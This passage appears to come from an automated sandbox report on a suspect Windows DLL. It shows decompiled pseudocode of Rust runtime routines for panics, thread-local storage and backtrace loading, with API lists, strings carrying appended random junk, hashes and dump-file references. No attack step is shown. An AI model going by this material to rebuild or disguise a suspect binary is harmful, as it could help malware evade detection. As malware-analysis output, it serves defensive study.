						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EDB2640;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6EDBD2A0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6ee0adc8, 0, _t256);
							}
							_t194 = HeapFree( *0x6ee0adc8, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6edfda14;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6edfcd60;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6EDBD2A0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6ee0adbc);
					_v144 = 0x6ee0adbc;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6EDBD1B0(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6ee0adb0; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6EDBD530(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6EDD6EE0(_t264,  &M6EDFD0E7, 0x46, _t340,  &_v68, 0x6edfd060, 0x6edfd1ac);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6ee0a044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6ee0a044;
							_t202 = E6EDC2B10(_t264, 0x6ee0a044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6ee0a044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6ee0a044;
								_t203 = E6EDC2B10(_t264, 0x6ee0a044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6ee0adc8; // 0x2ed0000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6ee0a044;
										_t332 = _t205;
										_t206 =  *0x6ee0a044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6EDC2B10(_t264, 0x6ee0a044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6EDD6C30(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6ee0adc8, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6ee0adb0;
											 *0x6ee0adb0 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6edc3440
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6ee0adc8 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6EDBC800(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6EDD6EE0(_t264, "already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl", 0x10, __eflags,  &_v68, 0x6edfd050, 0x6edfd720);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6EDBC690(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6EDBC800(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6edfd8fc;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6edbde50;
										_v60 =  &_v100;
										_v56 = 0x6edbde50;
										_v52 =  &_v148;
										_v48 = E6EDBDE70;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EDBD2A0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6ee0adc8, 0, _t245);
											}
											HeapFree( *0x6ee0adc8, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ee0adac);
											_v68 = 0x6edfd2c0;
											_v64 = 1;
											_v152 = 0x6ee0adac;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EDBDEE0;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6EDBD2A0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ee0adac);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6EDBC800(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6EDBDC20(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ee0adbc);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6edfda8c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6edfcd60;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6EDBD2A0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6EDBD460( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6EDBD440(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6ee0a040 = 0;
											_t356 =  *0x6ee0a040;
											if( *0x6ee0a040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6edfd96c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6edfcd60;
											_v48 = 0;
											_v20 = 3;
											if(E6EDBD2A0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6ee0adc8, 0, _t235);
											}
											HeapFree( *0x6ee0adc8, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6EDBD1B0: TlsGetValue.KERNEL32(00000000,00000001,6EDBC906), ref: 6EDBD1BB
Part of subcall function 6EDBD1B0: TlsGetValue.KERNEL32(00000000), ref: 6EDBD1F3

AcquireSRWLockShared.KERNEL32(6EE0ADBC), ref: 6EDBC945
HeapFree.KERNEL32(00000000,00000000), ref: 6EDBCA9C
HeapFree.KERNEL32(00000000,?), ref: 6EDBCAAA
TlsGetValue.KERNEL32(00000000), ref: 6EDBCB0D
TlsGetValue.KERNEL32(00000000), ref: 6EDBCC07
HeapFree.KERNEL32(00000000,00000000), ref: 6EDBCCF1
HeapFree.KERNEL32(00000000,?), ref: 6EDBCCFF
GetProcessHeap.KERNEL32 ref: 6EDBCDD8
HeapAlloc.KERNEL32(02ED0000,00000000,00000010), ref: 6EDBCDEB
TlsSetValue.KERNEL32(00000000,00000000,02ED0000,00000000,00000010), ref: 6EDBCE5C
HeapFree.KERNEL32(00000000,00000000,02ED0000,00000000,00000010), ref: 6EDBCEDD

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EDBCDC0
already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl, xrefs: 6EDBCDA1
full, xrefs: 6EDBCEB8
cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf, xrefs: 6EDBC90D, 6EDBC988

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl$cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf$full
API String ID: 2275035175-1955203421
Opcode ID: 423ec14a58b2f2cd60f9e4500f9c94801d07a8a0d76155c9be933763833bab8b
Instruction ID: 1dd3db39d58ce3998d66bd39b9b8a089fdb187b1440931f93170d53e56b648f1
Opcode Fuzzy Hash: 423ec14a58b2f2cd60f9e4500f9c94801d07a8a0d76155c9be933763833bab8b
Instruction Fuzzy Hash: 471216B4A00219CFDB10CFE4C854B9EBBB5BF45308F108529D416AF384EB76A946CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBE690, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6EDBE690(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6EDC3BA0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6ee0adc4; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6ee0adc4], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6ee0add0; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6ee0ae04 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6ee0add4; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6ee0add8; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6ee0addc; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6ee0ae04 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6ee0add0, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6EDD6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6edfdcac);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6ee0addc = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6ee0add0, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6EDD6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6edfdc9c);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6ee0add8 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6EDD6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6edfdc8c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6EDBE880(_v36);
								} else {
									_t38 = _t30;
									 *0x6ee0add4 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6ee0add0 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDBE6D0
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDBE6E3
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6EDBE714
GetProcAddress.KERNEL32(SymSetOptions), ref: 6EDBE742
GetProcAddress.KERNEL32(SymInitializeW), ref: 6EDBE772
GetCurrentProcess.KERNEL32 ref: 6EDBE787
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6EDBE7A5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDBE7C3

Part of subcall function 6EDBE880: ReleaseMutex.KERNEL32(?,6EDBE5F8), ref: 6EDBE881

Strings

SymGetOptions, xrefs: 6EDBE70E
SymSetOptions, xrefs: 6EDBE737
Local\RustBacktraceMutex, xrefs: 6EDBE79C
SymInitializeW, xrefs: 6EDBE767
called `Option::unwrap()` on a `None` value, xrefs: 6EDBE801, 6EDBE824, 6EDBE847
dbghelp.dll, xrefs: 6EDBE6DE

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: 151a7816158eb4b1f7196b842da05dd58f1e03606632e60b57208424d5919ffd
Instruction ID: c3022b420f8962f66f8651dc517ba4b452fa16cac15c09a674232d8aa35933b9
Opcode Fuzzy Hash: 151a7816158eb4b1f7196b842da05dd58f1e03606632e60b57208424d5919ffd
Instruction Fuzzy Hash: 914115B1E40649DBEF00DFE5CC54B5E76ADAB49319F00447CE91AEB380EB35C8058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC890, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EDBC890(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = E6EDC3B50;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6edfd9cc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6ee0adc0], esi");
				_t193 = E6EDBD1B0(_t268, 0x6edfd9cc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6EDD6EE0(_t268,  &M6EDFD0E7, 0x46, _t349,  &_v68, 0x6edfd060, 0x6edfd1ac);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6edfcd60;
						_v120 = 0x6edfd014;
						_v68 = 0x6edfda50;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EDB2640;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6EDBD2A0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6ee0adc8, 0, _t259);
							}
							_t197 = HeapFree( *0x6ee0adc8, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6edfda14;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6edfcd60;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6EDBD2A0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6ee0adbc);
					_v144 = 0x6ee0adbc;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6EDBD1B0(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6ee0adb0; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6EDBD530(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6EDD6EE0(_t268,  &M6EDFD0E7, 0x46, _t352,  &_v68, 0x6edfd060, 0x6edfd1ac);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6ee0a044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6ee0a044;
							_t205 = E6EDC2B10(_t268, 0x6ee0a044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6ee0a044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6ee0a044;
								_t206 = E6EDC2B10(_t268, 0x6ee0a044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6ee0adc8; // 0x2ed0000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6ee0a044;
										_t340 = _t208;
										_t209 =  *0x6ee0a044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6EDC2B10(_t268, 0x6ee0a044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6EDD6C30(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6ee0adc8, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6ee0adb0;
											 *0x6ee0adb0 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6edc3440
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
